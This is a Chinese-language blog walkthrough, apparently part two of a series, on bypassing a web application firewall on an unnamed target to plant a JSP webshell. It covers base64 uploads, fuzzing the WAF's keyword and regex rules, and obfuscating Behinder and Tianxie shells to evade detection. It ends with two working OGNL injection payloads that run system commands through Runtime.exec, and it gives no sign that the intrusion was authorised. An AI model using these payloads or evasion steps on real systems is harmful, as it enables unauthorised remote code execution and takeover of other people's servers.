某系统绕过waf拿下webshell( 二 )


某系统绕过waf拿下webshell文章插图
我们开始测试发现没有被拦击只是报错了包500 。 那么这下好办了我们需要修改一下我们的接收内容的jsp的马子 。 经过在本地测试我们修改的马子 。 大概就是下图至于是什么我就不详细截图了 。 我想大家能猜到
某系统绕过waf拿下webshell文章插图
接下来我们把要上传的jsp马子base64编码提交一波看看效果 。 提交成功了我们访问一波我们的*********!!!!pppsx.jsp 。 握擦直接403
某系统绕过waf拿下webshell文章插图
于是我又换了冰蝎 等能想到的马子都换了就是搞不定日狗了 。
后来我fuzz了一下知道这个waf是匹配关键字加正则 。
那么知道这个我们来修改一下冰蝎的马子用某code编码来绕过关键字检测 。
并且我们来绕过他的正则检测 。
我们来修改编写马子
某系统绕过waf拿下webshell文章插图
上传上去了这次显示空白说明绕过了 。
我们用冰蝎连接看看显示不可连接沃日本地测试的好好的怎么连接不了 。
我思考可能是jdk或者是他不支持AES加密于是又写了一个jsp来获取了一下服务器的这些信息
某系统绕过waf拿下webshell文章插图
我擦一看目标jdk版本1.6我想冰蝎马子估计是有问题得改改 。
我在想去github上看看有没有别的shell连接工具 。 于是找到了,shack2 的天蝎webshell管理工具 。 找到一个
某系统绕过waf拿下webshell文章插图
直接上去肯定是不行 。 直接也是403.也得进行混淆免杀 。
于是在本地搞了一波混淆免杀 。 上上去了 。 访问一下空白连接一下看看
某系统绕过waf拿下webshell文章插图
某系统绕过waf拿下webshell文章插图
某系统绕过waf拿下webshell文章插图
至此拿下webshell 。
没啥技术含量 。 从这认识到自己的不足 。 得研究一波jsp免杀了
exp内容如下:
exp1 get:message=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream())exp2 post:message=(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#w=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter()).(#w.print(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(#parameters.cmd[0]).getInputStream()))).(#w.close()) --tt-darkmode-color: #B83232;">点击下方“了解更多”